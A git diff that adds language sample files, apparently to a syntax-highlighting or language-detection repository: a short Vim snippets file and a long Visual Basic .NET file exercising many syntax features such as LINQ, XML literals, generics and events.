--- /dev/null
+++ b/samples/Vim Snippet/vim.snippets	
@@ -0,0 +1,24 @@
+priority -50
+
+###########################################################################
+#                            SnipMate Snippets                            #
+###########################################################################
+snippet gvar "Global / configuration variable" b
+if !exists("g:${1:MyUltraImportantVar}")
+	let g:$1 = ${2:"${3:<tab>}"}
+endif
+endsnippet
+
+snippet guard "script reload guard" b
+if exists('${1:did_`!p snip.rv = snip.fn.replace('.','_')`}') || &cp${2: || version < 700}
+	finish
+endif
+let $1 = 1$3
+endsnippet
+
+snippet f "function" b
+fun ${1:function_name}($2)
+	${3:" code}
+endf
+endsnippet
+# vim:ft=snippets:
diff --git a/samples/Visual Basic/Index.vbhtml b/samples/Visual Basic .NET/Index.vbhtml
similarity index 100%
rename from samples/Visual Basic/Index.vbhtml
rename to samples/Visual Basic .NET/Index.vbhtml
diff --git a/samples/Visual Basic/Module1.vb b/samples/Visual Basic .NET/Module1.vb
similarity index 100%
rename from samples/Visual Basic/Module1.vb
rename to samples/Visual Basic .NET/Module1.vb
diff --git a/samples/Visual Basic .NET/VBAllInOne.vb b/samples/Visual Basic .NET/VBAllInOne.vb
new file mode 100644
index 0000000000..760635ff6f
--- /dev/null
+++ b/samples/Visual Basic .NET/VBAllInOne.vb	
@@ -0,0 +1,1093 @@
+' Copyright (c) Microsoft.  All Rights Reserved.  Licensed under the Apache License, Version 2.0.  See License.txt in the project root for license information.
+
+Option Infer On
+Option Explicit Off
+Option Strict Off
+
+Imports System
+Imports System.Collections.Generic
+Imports System.Linq
+Imports System.Linq.Expressions
+Imports System.Text
+Imports M = System.Math
+Imports System.Collections
+Imports <xmlns:ns="foo">
+Imports <xmlns="foo">
+
+#Const line = 6
+#Const foo = True
+#If foo Then
+#Else
+#End If
+' There is no equivalent to #undef in VB.NET:
+'#undef foo
+'#warning foo
+'#error foo
+' There is no equivalent to 'extern alias' in VB:
+'extern alias Foo;
+
+#If DEBUG OrElse TRACE Then
+Imports System.Diagnostics
+#ElseIf SILVERLIGHT Then
+Imports System.Diagnostics
+#Else
+Imports System.Diagnostics
+#End If
+
+#Region "Region"
+#Region "more"
+Imports ConsoleApplication2.Test
+#End Region
+Imports X = int1
+Imports X = ABC.X(Of Integer)
+Imports A.B
+
+#End Region
+<Assembly: System.Copyright("(C) 2009")> 
+<Module: System.Copyright(vbLf & vbTab & ChrW(&H123).ToString() & "(C) 2009" & ChrW(&H123).ToString())> 
+Friend Interface CoContra(Of Out T, In K)
+End Interface
+Public Delegate Sub CoContra2()
+
+Namespace My
+
+    Friend Interface CoContra(Of Out T, In K)
+    End Interface
+    Friend Delegate Sub CoContra2(Of Out T, In K)()
+
+
+    Partial Public Class A
+        Inherits CSType1
+        Implements I
+        <Obsolete()>
+        Public Sub New(<Obsolete()> ByVal foo As Integer)
+            MyBase.New(1)
+L:
+            Dim i As Integer = Len(New Integer)
+            i += 1
+
+#If DEBUG Then
+            Console.WriteLine(export.iefSupplied.command)
+#End If
+            Const local? As Integer = Integer.MaxValue
+            Const local0? As Guid = New Guid(r.ToString())
+
+            'Inserted Compiling code 
+            Dim r As Integer
+            Dim Varioblelocal? As Integer = Integer.MaxValue
+            Dim Varioblelocal0? As Guid = New Guid(r.ToString())
+
+            Dim привет = local
+            Dim мир = local
+            Dim local3 = 0, local4 = 1
+            Dim local5 = If(TryCast(Nothing, Action), Nothing)
+            Dim local6 = TypeOf local5 Is Action
+
+            Dim u = 1UI
+
+            Dim U_Renamed = 1UI
+
+            Dim hex As Long = &HBADC0DE, Hex_Renamed As Long = &HDEADBEEFL, l As Long = -1L, L_Renamed As Long = 1L
+
+            Dim ul As ULong = 1UL, Ul_Renamed As ULong = 1UL, uL_Renamed2 As ULong = 1UL, UL_Renamed3 As ULong = 1UL, lu As ULong = 1UL, Lu_Renamed1 As ULong = 1UL, lU_Renamed2 As ULong = 1UL, LU_Renamed3 As ULong = 1UL
+
+            Dim bool As Boolean
+            Dim [byte] As Byte
+            'ChrW(&H0130), hexchar2 = ChrW(&HBAD)
+            'ChrW(&H0066), hexchar = ChrW(&H0130), hexchar2
+            '"c"c, \u0066 = ChrW(&H0066), hexchar
+            Dim [char] As Char = "c"c ', \u0066
+            Dim [decimal] As Decimal = 1.44D
+
+            Dim [dynamic] As Object
+            Dim [double] As Double = m.PI
+            Dim float As Single
+            Dim int As Integer = If(local, -1)
+            Dim [long] As Long
+            Dim [object] As Object
+            Dim [sbyte] As SByte
+            Dim [short] As Short
+            Dim [string] As String = """/*"
+            Dim uint As UInteger
+            Dim [ulong] As ULong
+            Dim [ushort] As UShort
+
+
+            Dim dynamic1 = local5
+            Dim add = 0
+            Dim ascending = 0
+            Dim descending = 0
+            Dim From = 0
+            Dim [get] = 0
+            Dim [global] = 0
+            Dim group = 0
+            Dim into = 0
+            Dim join = 0
+            Dim [let] = 0
+            Dim orderby = 0
+            Dim [partial] = 0
+            Dim remove = 0
+            Dim [select] = 0
+            Dim [set] = 0
+            Dim value = 0
+            Dim var = 0
+            Dim where = 0
+            Dim yield = 0
+
+            If i > 0 Then
+                Return
+            ElseIf i = 0 Then
+                Throw New Exception()
+            End If
+            Dim o1 = New MyObject()
+            Dim o2 = New MyObject(var)
+            Dim o3 = New MyObject With {.A = i}
+            REM Dim o4 = New MyObject(dynamic) With {.A = 0, .B = 0, .C = 0}
+            Dim o5 = New With {Key .A = 0}
+            Dim a() As Integer = {0, 1, 2, 3, 4, 5}
+            Select Case i
+                Case 1
+                    GoTo CaseLabel1
+                Case 2
+CaseLabel1:
+                    GoTo CaseLabel2
+                    Exit Select
+                Case Else
+CaseLabel2:
+                    Return
+            End Select
+            Do While i < 10
+                i += 1
+            Loop
+            Do
+                i += 1
+            Loop While i < 10
+            For j As Integer = 0 To 99
+                Console.WriteLine(j)
+            Next j
+
+            'Modified to include items
+            Dim items = {1, 2, 3, 4, 5, 6, 7, 8}
+            For Each i In items
+                If i = 7 Then
+                    Return
+                Else
+                    Continue For
+                End If
+            Next i
+
+            ' There is no equivalent to a 'checked' block in VB.NET
+            '			checked
+            i += 1
+
+            'Modified use of synclock functions for VB
+            Dim sText As String
+            Dim objLock As Object = New Object()
+            SyncLock objLock
+                sText = "Hello"
+            End SyncLock
+
+            Using v = BeginScope()
+                Using a As New A()
+                    Using BeginScope()
+                        Return
+                    End Using
+                End Using
+            End Using
+
+            ' VB does not support iterators and has no equivalent to the C# 'yield' keyword:
+            'yield Return Me.items(i)
+            ' VB does not support iterators and has no equivalent to the C# 'yield' keyword:
+            'yield(break)
+            ' There is no equivalent to a 'fixed' block in VB.NET
+            'Integer* p = Nothing
+
+            Try
+                Throw New Exception 'Nothing
+            Catch av As System.AccessViolationException
+                Throw av
+            Catch e1 As Exception
+                Throw
+            Finally
+            End Try
+
+            Dim anonymous = New With {.a = 1, .B = 2, .c = 3}
+
+            Dim qry = From i1 In {1, 2, 3, 4, 5, 6}
+                      Where i1 < 5
+                      Select New With {.id = i1}
+
+
+            Dim query = From c In customers _
+                            Let d = c _
+                            Where d IsNot Nothing _
+                            Join c1 In customers On c1.GetHashCode() Equals c.GetHashCode() _
+                            Group Join c1 In customers On c1.GetHashCode() Equals c.GetHashCode()
+                            Into e() _
+                            Order By g.Count() Ascending _
+                            Order By g.Key Descending _
+                            Select New With {.Region = g.Key, .CustCount = g.Count()}
+
+
+            'XML Literals
+            Dim x = <xmlliteral>
+                        <test name="test"/>
+                        <test name="test2"></test>
+                    </xmlliteral>
+
+        End Sub
+
+        Protected Sub Finalize()
+        End Sub
+        Private ReadOnly f1 As Integer
+        ' There is no VB.NET equivalent to 'volatile':
+
+        <Obsolete(), NonExisting(), Foo.NonExisting(var, 5), Obsolete(), NonSerialized(), CLSCompliant(True OrElse False And True)>
+        Private f2 As Integer
+
+        <Obsolete()>
+        Public Sub Handler(ByVal value As Object)
+        End Sub
+
+        Public Function m(Of T As {Class, New})(ByVal t1 As T) As Integer
+            MyBase.m(t1)
+            Return 1
+        End Function
+        Public Property P() As String
+            Get
+                Return "A"
+            End Get
+            Set(ByVal value As String)
+            End Set
+        End Property
+
+        Public ReadOnly Property p2 As String
+            Get
+            End Get
+        End Property
+
+        Public Property p3 As String
+
+        Default Public Property item(ByVal index As Integer) As Integer
+            Protected Get
+            End Get
+            Set(ByVal value As Integer)
+            End Set
+        End Property
+
+        <Obsolete(), Obsolete()>
+        Public Custom Event E1 As Action
+            ' This code will be run when AddHandler MyEvent, D1 is called
+            AddHandler(ByVal value As Action)
+            End AddHandler
+
+            ' This code will be run when RemoveHandler MyEvent, D1 is called
+            RemoveHandler(ByVal value As Action)
+            End RemoveHandler
+
+            <Obsolete()> RaiseEvent()
+            End RaiseEvent
+        End Event
+
+
+        Public Shared Operator +(ByVal first, ByVal second)
+            Dim handler As System.Delegate = New [Delegate](AddressOf Me.Handler)
+            Return first.Add(second)
+        End Operator
+
+        <Obsolete()>
+        Public Shared Operator IsTrue(ByVal a As A) As Boolean
+            Return True
+        End Operator
+        Public Shared Operator IsFalse(ByVal a As A) As Boolean
+            Return False
+        End Operator
+
+        Class c
+        End Class
+
+        Public Sub A(ByVal value As Integer) Implements I.A
+
+        End Sub
+
+        Public Property Value As String Implements I.Value
+            Get
+
+            End Get
+            Set(ByVal value As String)
+
+            End Set
+        End Property
+    End Class
+
+    Public Structure S
+        Implements I
+
+        Private f1 As Integer
+        ' There is no VB.NET equivalent to 'volatile':
+        ' private volatile int f2;
+
+        <Obsolete()> Private f2 As Integer
+
+        Public Function m(Of T As {Structure, New})(ByVal s As T) As Integer
+            Return 1
+        End Function
+
+        Public Property P1() As String
+            Get
+                Dim value As Integer = 0
+                Return "A"
+            End Get
+            Set(ByVal value As String)
+            End Set
+        End Property
+
+        'vb.net can't support abstract member variable
+        Public ReadOnly Property P2() As String
+            Get
+            End Get
+        End Property
+
+        Public Property p3 As String '//Auto Property
+
+        Default Public Property item(ByVal index As Integer) As Integer
+            Get
+            End Get
+            Friend Set(ByVal value As Integer)
+            End Set
+        End Property
+
+
+        Public Event E()
+
+        Public Shared Operator +(ByVal first, ByVal second)
+            Return first.Add(second)
+            'fixed Integer field(10)
+        End Operator
+
+        Class c
+        End Class
+
+        Public Sub A(ByVal value As Integer) Implements I.A
+
+        End Sub
+
+        Public Property Value As String Implements I.Value
+            Get
+
+            End Get
+            Set(ByVal value As String)
+
+            End Set
+        End Property
+    End Structure
+    Public Interface I
+        Sub A(ByVal value As Integer)
+        Property Value() As String
+    End Interface
+    <Flags()>
+    Public Enum E
+        A
+        B = A
+        C = 2 + A
+
+#If DEBUG Then
+        D
+#End If
+
+    End Enum
+    Public Delegate Sub [Delegate](ByVal P As Object)
+
+    Namespace Test
+        Public Class Список
+            Public Shared Function Power(ByVal number As Integer, ByVal exponent As Integer) As IEnumerable
+                Dim Список As New Список()
+                Список.Main()
+                Dim counter As Integer = 0
+                Dim result As Integer = 0
+
+                'Do While ++counter++ < --exponent--
+                '                         result = result * number + +number + ++++number
+                '                ' VB does not support iterators and has no equivalent to the C# 'yield' keyword:
+                '                'yield Return result
+                '            Loop
+            End Function
+            Shared Sub Main()
+                For Each i As Integer In Power(2, 8)
+                    Console.Write("{0} ", arg0:=i)
+                Next i
+            End Sub
+        End Class
+    End Namespace
+End Namespace
+
+Namespace ConsoleApplication1
+    Namespace RecursiveGenericBaseType
+        MustInherit Class A(Of T)
+            Inherits B(Of A(Of T), A(Of T))
+
+            Protected Overridable Function M() As A(Of T)
+            End Function
+
+            Protected MustOverride Function N() As B(Of A(Of T), A(Of T))
+
+            Shared Function O() As B(Of A(Of T), A(Of T))
+            End Function
+        End Class
+
+        Class B(Of T1, T2)
+            Inherits A(Of B(Of T1, T2))
+
+            Protected Overrides Function M() As A(Of T)
+            End Function
+            Protected NotOverridable Overrides Function N() As B(Of A(Of T), A(Of T))
+            End Function
+            Shared Shadows Function O() As A(Of T)
+            End Function
+        End Class
+    End Namespace
+End Namespace
+
+Namespace Boo
+    Public Class Bar(Of T As IComparable)
+        Public f As T
+
+        Public Class Foo(Of U)
+            Implements IEnumerator(Of T)
+
+            Public Sub Method(Of K As {IList(Of V), IList(Of T), IList(Of U)}, V As IList(Of K))(ByVal k1 As K, ByVal t1 As T, ByVal u1 As U)
+                Dim a As A(Of Integer)
+            End Sub
+
+            Public ReadOnly Property Current As T Implements System.Collections.Generic.IEnumerator(Of T).Current
+                Get
+
+                End Get
+            End Property
+
+            Public ReadOnly Property Current1 As Object Implements System.Collections.IEnumerator.Current
+                Get
+
+                End Get
+            End Property
+
+            Public Function MoveNext() As Boolean Implements System.Collections.IEnumerator.MoveNext
+
+            End Function
+
+            Public Sub Reset() Implements System.Collections.IEnumerator.Reset
+
+            End Sub
+
+#Region "IDisposable Support"
+            Private disposedValue As Boolean ' To detect redundant calls
+
+            ' IDisposable
+            Protected Overridable Sub Dispose(ByVal disposing As Boolean)
+                If Not Me.disposedValue Then
+                    If disposing Then
+
+                    End If
+
+
+                End If
+                Me.disposedValue = True
+            End Sub
+
+            Public Sub Dispose() Implements IDisposable.Dispose
+                Dispose(True)
+                GC.SuppressFinalize(Me)
+            End Sub
+#End Region
+
+        End Class
+    End Class
+End Namespace
+
+Friend Class Test2
+    Private Sub Bar3()
+        Dim x = New Boo.Bar(Of Integer).Foo(Of Object)()
+        x.Method(Of String, String)(" ", 5, New Object())
+
+        Dim q = From i In New Integer() {1, 2, 3, 4}
+                Where i > 5
+                Select i
+    End Sub
+
+    Public Shared Widening Operator CType(ByVal s As String) As Test2
+        Return New Test2()
+    End Operator
+
+    Public Shared Narrowing Operator CType(ByVal s As Integer) As Test2
+        Return New Test2()
+    End Operator
+
+    Public foo As Integer = 5
+    Private Sub Bar2()
+        foo = 6
+        Me.foo = 5.GetType()
+        Dim t As Test2 = "sss"
+    End Sub
+    Private Sub Blah()
+        Dim i As Integer = 5
+        Dim j? As Integer = 6
+
+        Dim e As Expression(Of Func(Of Integer)) = Function() i
+    End Sub
+
+    Public Property FFoo() As Type
+        Get
+            Return GetType(System.Int32)
+        End Get
+        Set(ByVal value As Type)
+            Dim t = GetType(System.Int32)
+            t.ToString()
+            t = value
+        End Set
+    End Property
+    Public Sub Constants()
+        Dim i As Integer = 1 + 2 + 3 + 5
+        Dim s As Global.System.String = "a" & CStr("a") & "a" & "a" & "a" & "A"
+    End Sub
+
+    Public Sub ConstructedType()
+        Dim i As List(Of Integer) = Nothing
+        Dim c As Integer = i.Count
+    End Sub
+End Class
+Namespace Comments.XmlComments.UndocumentedKeywords
+    ''' <summary>
+    ''' Whatever 
+    ''' </summary>
+    ''' <!-- c -->
+    ''' <![CDATA[c]]> //
+    ''' <c></c> /* */
+    ''' <code></code>
+    ''' <example></example>
+    ''' <exception cref="bla"></exception>
+    ''' <include file='' path='[@name=""]'/>
+    ''' <permission cref=" "></permission>
+    ''' <remarks></remarks>
+    ''' <see cref=""/>
+    ''' <seealso cref=" "/>
+    ''' <value></value>
+    ''' <typeparam name="T"></typeparam>
+    Class c(Of T)
+        Sub M(Of U)(ByVal T1 As T, ByVal U1 As U)
+            Dim intValue As Integer = 0
+            intValue = intValue + 1
+            Dim strValue As String = "hello" 's
+            Dim c As New [MyClass]()
+            Dim verbatimStr As String = "@ \\\\" 's
+        End Sub
+    End Class
+
+End Namespace
+Friend Class TestClassXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX 'Scen8
+End Class
+
+Friend Class TestClass1XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX22 'Scen9
+End Class
+
+Friend Class yield
+    ''INSTANT VB TODO TASK: There is no equivalent to the undocumented C# '__arglist' keyword in VB:
+    'Private Sub Foo(Of U)(ByVal __arglist)
+    '    Dim c1 As C(Of U) = Nothing
+    '    c1.M(Of Integer)(5, Nothing)
+    '    Dim tr As TypedReference = __makeref(c1)
+    '    Dim t As Type = __reftype(tr)
+
+    '    	Dim j As Integer = __refvalue(tr, Integer)
+
+    '    Params(a:=t, b:=t)
+    'End Sub
+    Private Sub Params(ByRef a As Object, <System.Runtime.InteropServices.Out()> ByRef b As Object, ByVal ParamArray c() As Object)
+    End Sub
+
+    'Private Sub Params(Optional <System.Runtime.InteropServices.Out()> ByRef a As dynamic = 2, Optional ByRef c As dynamic = Nothing, ParamArray ByVal c()() As dynamic)
+    'End Sub
+    Public Overrides Function ToString() As String
+        Return MyBase.ToString()
+    End Function
+
+    Public Sub method()
+        Dim a?(4) As Integer '[] bug
+        ' YES []
+        Dim var() As Integer = {1, 2, 3, 4, 5} ',;
+        Dim i As Integer = a(i) '[]
+        Dim f As New Foo(Of T)() '<> ()
+        f.method()
+        i = i + i - i * i \ i Mod i And i Or i Xor i '+ - * / % & | ^
+
+        Dim b As Boolean = True And False Or True Xor False '& | ^
+        b = Not b '!
+        i = Not i '~i
+        b = i < i AndAlso i > i '< && >
+
+        Dim ii? As Integer = 5 '? bug
+        ' NO ?
+        Dim f1 As Integer = If(True, 1, 0) '? :
+        ' YES :
+        i += 1 '++
+        i -= 1 '--
+        b = True AndAlso False OrElse True '&& ||
+        i = i << 5 '<<
+        i = i >> 5 '>>
+        b = i = i AndAlso i <> i AndAlso i <= i AndAlso i >= i '= == && != <= >=
+        i += 5.0 '+=
+        i -= i '-=
+        i *= i '*=
+        i \= i '/
+        '=
+        i = i Mod i '%=
+        i = i And i '&=
+        i = i Or i '|=
+        i = i Xor i '^=
+        i <<= i '<<=
+        i >>= i '>>=
+        Dim s As Object = Function(x) x + 1 '=>
+
+
+        ' There is no equivalent to an 'unsafe' block in VB.NET
+        '			unsafe
+        '		Point* p = &point '* &
+        '			p->x = 10 '->
+
+        Dim p As Point
+        p.X = 10
+        p.Y = 12
+
+        Dim p2 As New Point With {.X = 10, .Y = 12}
+
+
+        Dim br As IO.BinaryReader = Nothing
+    End Sub
+
+    Friend Structure Point
+        Public X As Integer
+        Public Y As Integer
+    End Structure
+End Class
+
+'Extension Method
+Module Module1
+    <Runtime.CompilerServices.Extension()> Function FooExtension(ByVal x As String) As String
+        Return x & "test"
+    End Function
+
+    <Runtime.CompilerServices.Extension()> Function FooExtension(ByVal x As String,
+                                                                 ByVal y As Integer) As String
+        'With Implicit Line Continuation
+        Return x & "test2"
+    End Function
+
+    Sub Foo()
+        'Collections
+        Dim i As New List(Of String) From {"test", "item"}
+        Dim i1 As New Dictionary(Of Integer, String) From {{1, "test"}, {2, "item"}}
+
+        'Arrays
+        Dim ia1 = {1, 2, 3, 4, 5}
+        Dim la2 = {1,
+                   2L,
+                   3,
+                   4S,
+                   5}
+        Console.Write(GetXmlNamespace(ns))
+        Dim ia3 As Integer() = {1,
+                                2,
+                                3, 4, 5}
+        Dim ia4() As Integer = {1,
+                                2, 3, 4,
+                                5}
+
+        Dim ia5 = New Integer() {1, 2, 3, 4, 5}
+
+
+        Dim ia6 = {{1, 2}, {3, 4}, {5, 6}} '2d array
+        Dim ia7 = {({1}), ({3, 4}), ({5, 6, 2})} 'jagged array
+
+        'Standalone
+        If {1, 2, 3}.Count = 2 Then
+        ElseIf {1, 2, 3}.Count = 3 Then
+        Else
+        End If
+
+    End Sub
+End Module
+
+
+
+
+#Region "Events"
+Public Delegate Sub MyDelegate(ByVal message As String)
+
+Class MyClass1
+
+    Custom Event MyEvent As MyDelegate
+
+        ' This code will be run when AddHandler MyEvent, D1
+        ' is called
+        AddHandler(ByVal value As MyDelegate)
+            Console.WriteLine("Adding Handler for MyEvent")
+            MyEventHandler = value
+        End AddHandler
+
+        ' This code will be run when RemoveHandler MyEvent, D1
+        ' is called
+        RemoveHandler(ByVal value As MyDelegate)
+            Console.WriteLine("Removing Handler for MyEvent")
+            MyEventHandler = Nothing
+        End RemoveHandler
+
+        ' This code will be run when RaiseEvent MyEvent(string)
+        ' is called
+        RaiseEvent(ByVal message As String)
+            If Not MyEventHandler Is Nothing Then
+                MyEventHandler.Invoke(message)
+            Else
+                Console.WriteLine("No Handler for Raised MyEvent")
+            End If
+        End RaiseEvent
+    End Event
+
+    Public MyEventHandler As MyDelegate
+
+    Public Sub Raise_Event()
+        RaiseEvent MyEvent("MyEvent Was Raised")
+    End Sub
+End Class
+
+Module DelegateModule
+    Dim Var1 As MyClass1
+    Dim D1 As MyDelegate
+
+    Sub EventsMain()
+        Var1 = New MyClass1
+        D1 = New MyDelegate(AddressOf MyHandler)
+        AddHandler Var1.MyEvent, D1
+        Var1.Raise_Event()
+        RemoveHandler Var1.MyEvent, D1
+    End Sub
+
+    Sub MyHandler(ByVal message As String)
+        Console.WriteLine("Event Handled: " & message)
+    End Sub
+End Module
+
+#End Region
+
+#Region "Linq"
+Module LINQQueries
+    Sub Join()
+        Dim categories() = {"Beverages", "Condiments", "Vegetables", "Dairy Products", "Seafood"}
+
+        Dim productList = {New With {.category = "Condiments", .name = "Ketchup"}, New With {.category = "Seafood", .name = "Code"}}
+
+        Dim query = From c In categories _
+                    Group Join p In productList On c Equals p.category Into Group _
+                    From p In Group _
+                    Select Category = c, p.name
+
+        For Each v In query
+            Console.WriteLine(v.name + ": " + v.Category)
+        Next
+    End Sub
+End Module
+#End Region
+
+
+#Region "Lambda's"
+Module Lambdas
+    Dim l1 = Sub()
+                 Console.WriteLine("Sub Statement")
+             End Sub
+
+    Dim L2 = Sub() Console.WriteLine("Sub Statement 2")
+
+    Dim L3 = Function(x As Integer) x Mod 2
+
+    Dim L4 = Function(y As Integer) As Boolean
+                 If y * 2 < 10 Then
+                     Return True
+                 Else
+                     Return False
+                 End If
+             End Function
+End Module
+#End Region
+
+#Region "Co Contra Variance"
+Public Class Cheetah
+
+End Class
+Public Class Animals
+
+End Class
+Public Interface IVariance(Of In T)
+    Sub Foo(ByVal a As T)
+    Property InterProperty() As IVariance(Of Cheetah)
+    Property InterProperty2() As IVariance(Of Animals)
+End Interface
+
+Delegate Sub Func(Of In T)(ByVal a As T)
+
+
+Public Delegate Function Func2(Of Out T)() As T
+Public Interface IVariance2(Of Out T)
+    Function Foo() As T
+End Interface
+
+Public Class Variance2(Of T As New) : Implements IVariance2(Of T)
+
+    Dim type As IVariance2(Of Animals)
+
+    Public Function Foo() As T Implements IVariance2(Of T).Foo
+        Return New T
+    End Function
+
+    Function Foo(ByVal arg As IVariance2(Of T)) As String
+        Return arg.GetType.ToString
+    End Function
+
+    Function Goo(ByVal arg As Func2(Of T)) As String
+        Return arg.Invoke().GetType.ToString
+    End Function
+End Class
+
+#End Region
+
+Module Mod1Orcas
+    Dim AT1 = New With {Key .prop1 = 1}
+    Dim AT2 = New With {.prop1 = 7}
+    Dim b_false As Boolean = False
+    Dim n_false = False
+    Dim i = If(b_false And n_false, 1, 2)
+    Dim s1 = <xml_literal><%= If(Nothing, Nothing) %></xml_literal>
+
+    Delegate Sub delfoo()
+    Delegate Sub delfoo1(ByVal sender As Object, ByVal e As System.EventArgs)
+
+    Sub Foo()
+    End Sub
+
+    Sub Method1(ByVal sender As Object, ByVal e As System.EventArgs)
+    End Sub
+    Sub Method1a()
+    End Sub
+
+    Sub AssignDelegate()
+        Dim d As delfoo = AddressOf Foo
+        d.Invoke()
+
+
+        Dim d1_1 As delfoo1 = AddressOf Method1
+        Dim d1_1a As delfoo1 = AddressOf Method1a 'Relaxed Delegate
+
+
+
+
+        'Nullable
+        Dim Value1a As Integer? = 10
+        Dim Value1b As Integer = 1
+        Dim Value1c? As Integer = 1
+        Dim Value1c? As Integer? = 1
+        Dim TestReturnValue = Value1a * Value1b
+        If Value1a / Value1b > 0 Then
+
+        End If
+
+        Dim sNone = "None"
+        Dim SSystemOnly = "SystemOnly"
+
+        Dim XMLLiteral = <?xml version="1.0" encoding="utf-8"?>
+
+                         <Details>
+                             <FileImports>
+                                 <FileImport name=<%= sNone %>>
+                                 </FileImport>
+                                 <FileImport name=<%= SSystemOnly %>>
+        Imports System
+      </FileImport>
+                                 <FileImport name="Default">
+        Imports System
+        Imports System.Collections
+      </FileImport>
+                             </FileImports>
+
+                             <CodeConstructs>
+                                 <!-- Type Constructs-->
+                                 <Construct name="Module" allowcodeblock="false" allowOuter="true" group="Type" allownesting="true" isnestable="false" allowsoverload="false">
+                                     <Start>public Module {Identifier}</Start>
+                                     <End>End Module </End>
+                                     <DefaultIdent>Module_</DefaultIdent>
+                                 </Construct>
+                                 <Construct name="Class" allowcodeblock="false" allowOuter="true" group="Type" allownesting="true" isnestable="true" allowsoverload="false">
+                                     <Start>public class {Identifier}</Start>
+                                     <End>End Class</End>
+                                     <DefaultIdent>Class_</DefaultIdent>
+                                 </Construct>
+                                 <Construct name="Structure" allowcodeblock="false" allowOuter="true" group="Type" allownesting="true" isnestable="true" allowsoverload="false">
+                                     <Start>public class {Identifier}</Start>
+                                     <End>End Class</End>
+                                     <DefaultIdent>Struct_</DefaultIdent>
+                                 </Construct>
+                             </CodeConstructs>
+
+                             <CodeBlocks>
+                                 <Block name="CodeBlock0.txt" statements="1">
+                                     <![CDATA[ Dim <{x0}> = Microsoft.VisualBasic.FileSystem.Dir(".") ]]>
+                                 </Block>
+                                 <Block name="CodeBlock1.txt" statements="1">
+                                     <![CDATA[ Dim <{x0}> = 1 ]]>
+                                 </Block>
+                                 <Block name="CodeBlock2.txt" statements="1">
+                                     <![CDATA[ Dim <{x0}> as string = "2" ]]>
+                                 </Block>
+                             </CodeBlocks>
+                         </Details>
+        Dim x = <![CDATA[ Dim <{x0}> as string = "2" ]]>
+        Dim y = <!-- --> : Call <?a?>() : Dim x = <e/>
+    End Sub
+End Module
+
+Class Customer
+    Public Property name As String = "Default"
+    Public AGe As Integer
+    Public Postion As String
+    Public Level As Integer = 0
+    Public Property age2 As Integer
+End Class
+
+Class Foo
+    Structure Bar
+        Dim x As Integer
+
+        Sub LoopingMethod()
+            For i = 1 To 20 Step 1
+            Next i
+
+            For Each a In {1, 2, 3, 4}
+            Next
+
+            Dim icount As Integer
+            Do While icount <= 10
+                icount += 1
+            Loop
+
+            icount = 0
+            While icount <= 100
+                icount += 1
+            End While
+
+            icount = 0
+            Do Until icount >= 10
+                icount += 2
+            Loop
+        End Sub
+    End Structure
+End Class
+
+Class FooGen(Of t)
+    Structure BarGen(Of u)
+        Dim x As t
+        Dim z As u
+        Sub SelectionMethods()
+
+            Dim icount As Integer = 1L
+
+            If icount = 1 Then
+            ElseIf icount > 1 Then
+            Else
+            End If
+
+            Select Case icount
+                Case 1
+                Case 2, 3
+                Case Is > 3
+                Case Else
+            End Select
+        End Sub
+
+        Sub Operators()
+            Dim a As Boolean = True
+            Dim b As Boolean = False
+
+            If a And
+                b Then
+            End If
+
+            If a Or
+                b Then
+            End If
+
+            If Not a And
+                   b Then
+            End If
+
+            If a = b AndAlso
+                   b = True Then
+            End If
+
+            If a =
+                b OrElse
+                b =
+                False Then
+            End If
+
+            If (a Or
+                b) OrElse b =
+            True Then
+            End If
+
+        End Sub
+
+        Sub Method1()
+
+            Dim x As New Customer With {.name = "Test",
+                                        .AGe = 30,
+                                        .Level = 1, .Postion = "SDET"}
+
+
+            Dim x2 As New Customer With {.name = "Test",
+                                        .AGe = 30,
+                                        .Level = 1, .Postion = "SDET",
+                                         .age2 = .AGe}
+
+        End Sub
+
+
+    End Structure
+End Class
+
+
+Public Class Bar
+
+End Class
+
+Public Class ClsPPMTest003
+    Partial Private Sub Foo3()
+    End Sub
+End Class
+
+Partial Public Class ClsPPMTest003
+    Private Sub Foo3()
+    End Sub
+
+    Public Sub CallFooFromClass()
+        Me.Foo3()
+        Dim x1 As New Foo
+        Dim y1 As New Bar
+
+        If x1 Is y1 Then
+        Else
+            Console.WriteLine("Expected Result Occurred")
+        End If
+
+        If x1 IsNot y1 Then
+        Else
+            Console.WriteLine("Expected Result Occurred")
+        End If
+
+    End Sub
+End Class
diff --git a/samples/Visual Basic 6.0/Adjustments_BlackAndWhite.frm b/samples/Visual Basic 6.0/Adjustments_BlackAndWhite.frm
new file mode 100644
index 0000000000..e2efb85d85
--- /dev/null
